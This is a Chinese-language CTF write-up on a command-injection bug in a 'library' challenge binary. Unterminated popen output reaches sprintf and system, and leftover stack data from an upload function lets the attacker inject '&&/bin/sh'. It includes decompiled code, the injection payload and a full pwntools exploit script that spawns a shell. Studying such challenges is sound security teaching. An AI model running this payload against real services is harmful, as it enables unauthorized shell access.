关于读取popen输出结果时未截断字符串导致的命令行注入详解
时间：2021-09-06 09:01:30 | 栏目：C代码 | 点击：次
0x00 前言
这种命令行注入在pwn中出现的比较少，所以记录分享一下。
0x01 命令行注入介绍
熟悉web安全的话就知道，如果对特殊字符过滤不当，会引发sql注入或者xss等安全漏洞。其中，命令行注入较为严重，因为可以直接拿到漏洞程序当前权限的OSshell。
然而，命令行注入不仅在web中会出现，在C语言程序中，也会出现命令行注入的漏洞。比方说这道pwn题，就是调用system时，没有对输入数据进行\0截断以及对特殊字符处理不当而导致的。
命令行注入相对于其他二进制漏洞相比利用比较简单，比方说这道题，举个例子：
sprintf(&s, "du -sh lib/'%s'", v6); system(&s);
其中设计初衷，v6应当是一个合法的文件名。但是如果攻击者恶意操控v6，比方说，让v6为：'&&/bin/sh'
进行sprintf拼接后，system所执行的命令为：
du -sh lib/''&&/bin/sh''
这里有两个linux命令行的知识：
&&，这是拼接两个命令，如果我们执行 command1&&command2，那么等价于先执行command1在执行command2。其中命令跟&&之间不必加空格。
在命令后不加空格的''（两个单引号）会被忽略，比如ls''等价于ls，/bin/sh''等价于/bin/sh，du -sh lib/''等价于du -sh lib/（即，实际传进去的参数是lib/不是lib/''）
所以，执行上面的命令，相当于先执行了
du -sh lib/
再执行
/bin/sh
所以，可以getshell。
0x02 题目
题目所给的是一个library的服务，可以上传book，查看books，清除books。其中，book存放在lib/文件夹中。
0x03 漏洞点
char *list_books()
{
FILE *v0; // eax
char *result; // eax
char s; // [esp+4h] [ebp-C14h]
char ptr; // [esp+804h] [ebp-414h]
char *v4; // [esp+C04h] [ebp-14h]
FILE *stream; // [esp+C08h] [ebp-10h]
char *v6; // [esp+C0Ch] [ebp-Ch]
v0 = popen("ls lib/", "r");
stream = v0;
result = (char *)fread(&ptr, 1u, 0x400u, v0);
v4 = result;
if ( result )
{
v6 = strtok(&ptr, delims);
result = (char *)send("Book list:\nSize\tE-book\n");
while ( v6 )
{
sprintf(&s, "du -sh lib/'%s'", v6);
//很明显，这里存在可能的命令行注入
system(&s);
fflush(stdout);
result = strtok(0, delims);
v6 = result;
}
}
return result;
其中list_books代码如上，v6来自fread从popen中的返回结果。他本来想做的是输出每个文件的大小，但是fread后没有用\0截断。所以调用strtok时，可能会读到fread后面的垃圾数据（当然如果可以操控的话就不是垃圾数据了）
sprintf的栈溢出会比较难利用，因为&s比较大，有0x800，而v6是从&ptr里面strtok出来的，而&ptr更小，只有0x400。所以应该没法很好的利用。
0x04 操控垃圾数据
那么，我们怎么去操控&ptr中的垃圾数据呢？这个时候看看另外一个函数
int upload_book()
{
char *v1; // eax
int v2; // eax
char buf[1024]; // [esp+Ch] [ebp-42Ch]
char s[20]; // [esp+40Ch] [ebp-2Ch]
FILE *stream; // [esp+420h] [ebp-18h]
char *dest; // [esp+424h] [ebp-14h]
size_t v7; // [esp+428h] [ebp-10h]
int v8; // [esp+42Ch] [ebp-Ch]
if ( book_counter > 10 )
return send("too many books\n");
send("Book filename: ");
v8 = __isoc99_scanf("%20s", s);
if ( v8 != 1 )
return send("Wrong title format\n");
v7 = strlen(s);
if ( strcmp(&s[v7 - 3], ".bk") )
return send("The name needs to end with '.bk'\n");
send("e-book contents: \n");
read(0, buf, 0x400u);
if ( *(_DWORD *)buf != 'BBBB' )
return send("Not an e-book\naborting...\n");
v1 = (char *)malloc(0x18u);
dest = v1;
*(_DWORD *)v1 = 0x2F62696C;
v1[4] = 0;
strcat(dest, s);
stream = fopen(dest, "w");
if ( !stream )
return send("Bad book filename\n");
v2 = book_counter++;
books[v2] = dest;
fwrite(buf, 1u, 0x400u, stream);
return fclose(stream);
}
其中，这在栈中也会分配0x400个字节，并且我们可以写入。
并且，调用完这个函数之后，清除栈空间时，只是简单地add esp,xxx，并不会清空其中数据。然后，再调用存在命令行注入的函数并分配栈空间时，也只是单纯地sub esp,xxx，也不会清空数据。在C语言中，如果此时对不赋值的局部变量直接访问的话，是UB行为。但是，从二进制安全的角度看的话，便是可利用的点了。其中这道题，本身就是一个局部字符串读取后未截断而造成的UB，然而我们便可以利用这个。
那么来试试：
很明显，BBBB123456789123456789123456789123456789AAAA的后面89123456789AAAA被拼接到du -sh lib/'%s'中了
动态调试看一下的话
第一次在system停下
第二次在system停下
所以很明显，只要把89123456789AAAA改成
'&&/bin/sh'\x00
就可以getshell了。如前面所说。
其中，\x00是我们自己手动截断，不然strtok还会继续往后读。
所以最后exp
#BBBB1234567891234567891234567'&&/bin/sh'
g_local = True
from pwn import *
if g_local:
sh=process("./library")
else:
sh=remote("xxxx",1234)
def upload_book(filename, content):
filename += ".bk"
sh.send("1\n")
sh.recvuntil("Book filename: ")
print filename
sh.send(filename + "\n")
sh.recvuntil("e-book contents: \n")
sh.send(content)
sh.recvuntil("Enter command: ")
def list_books_and_shell():
sh.send("2\n")
sh.interactive()
upload_book("1", "BBBB1234567891234567891234567\'&&/bin/sh\'\x00")
list_books_and_shell()
0x05 后言
还有一点要注意，pwndbg好像会默认在fork时跟子进程，所以要在~/.gdbinit的最后面(加载pwndbg之后)加上set follow-fork-mode parent。并且，&&与命令之间不能加空格。因为他strtok是通过空格和换行分断字符串的，加了空格我们的payload就会被strtok分割开。
总结